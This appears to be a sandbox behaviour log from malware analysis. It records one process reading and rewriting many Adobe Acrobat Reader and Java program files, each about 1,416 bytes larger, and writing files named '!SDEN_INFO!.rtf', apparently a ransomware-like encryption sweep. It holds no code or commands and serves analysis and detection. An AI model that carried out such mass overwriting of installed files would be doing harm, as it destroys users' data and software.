File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\servertool.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\servertool.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\AdobePDF417.pmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\AdobePDF417.pmp, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\AdobePDF417.pmp, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\AdobePDF417.pmp, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\AdobePDF417.pmp, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.bfc, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.bfc, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.bfc, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\weblink.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\weblink.api, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\weblink.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\weblink.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\weblink.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\RTC.der, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\RTC.der, size = 1098, size_out = 1098	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\RTC.der, size = 2514	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_distributed.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_distributed.gif, size = 613, size_out = 613	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_distributed.gif, size = 2029	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_sent.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_sent.gif, size = 909, size_out = 909	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_sent.gif, size = 2325	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\stop_collection_data.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\stop_collection_data.gif, size = 915, size_out = 915	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\stop_collection_data.gif, size = 2331	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\DarkTheme.acrotheme, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\DarkTheme.acrotheme, size = 6859, size_out = 6859	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\DarkTheme.acrotheme, size = 8275	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef.css, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef.css, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ZA\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ZA\!SDEN_INFO!.rtf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-114x114-precomposed.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ms-MY\!SDEN_INFO!.rtf, size = 4773, size_out = 4773	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_same_reviewers.gif, size = 6189	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\aic_file_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\aic_file_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\aic_file_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\aic_file_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\cloud_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\cloud_icon.png, size = 655, size_out = 655	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\cloud_icon.png, size = 2071	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\japanese_over.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\japanese_over.png, size = 568, size_out = 568	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\japanese_over.png, size = 1984	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\RHP_icons_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\RHP_icons_2x.png, size = 1719, size_out = 1719	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\RHP_icons_2x.png, size = 3135	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-114x114-precomposed.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-114x114-precomposed.png, size = 4773, size_out = 4773	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-114x114-precomposed.png, size = 6189	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\illustrations.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\illustrations.png, size = 4485, size_out = 4485	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\illustrations.png, size = 5901	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\hscroll-thumb.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\hscroll-thumb.png, size = 263, size_out = 263	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\hscroll-thumb.png, size = 1679	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-left-pressed.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-left-pressed.gif, size = 56, size_out = 56	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-left-pressed.gif, size = 1472	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-right-pressed.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-right-pressed.gif, size = 56, size_out = 56	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-right-pressed.gif, size = 1472	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-il\ui-strings.js, size = 3568, size_out = 3568	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-il\ui-strings.js, size = 4984	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ko-kr\ui-strings.js, size = 3674, size_out = 3674	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Scan_R_RHP.aapp, size = 5090	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sv-se\ui-strings.js, size = 3558, size_out = 3558	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sv-se\ui-strings.js, size = 4974	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\da-dk\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\da-dk\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\da-dk\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hr-hr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hr-hr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hr-hr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\desktop.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\desktop.js, size = 1032, size_out = 1032	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\desktop.js, size = 2448	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fi-fi\ui-strings.js, size = 7975, size_out = 7975	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fi-fi\ui-strings.js, size = 9391	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pl-pl\ui-strings.js, size = 8125, size_out = 8125	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pl-pl\ui-strings.js, size = 9541	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\uk-ua\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\uk-ua\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\uk-ua\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\icons.png, size = 8063, size_out = 8063	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\dd_arrow_small.png, size = 9479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons_ie8.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons_ie8.gif, size = 8151, size_out = 8151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons_ie8.gif, size = 9567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\ui-strings.js, size = 1756, size_out = 1756	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\ui-strings.js, size = 3172	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\ui-strings.js, size = 1855, size_out = 1855	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\ui-strings.js, size = 3271	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\ui-strings.js, size = 1902, size_out = 1902	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\ui-strings.js, size = 3318	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\css\main.css, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\css\main.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\css\main.css, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
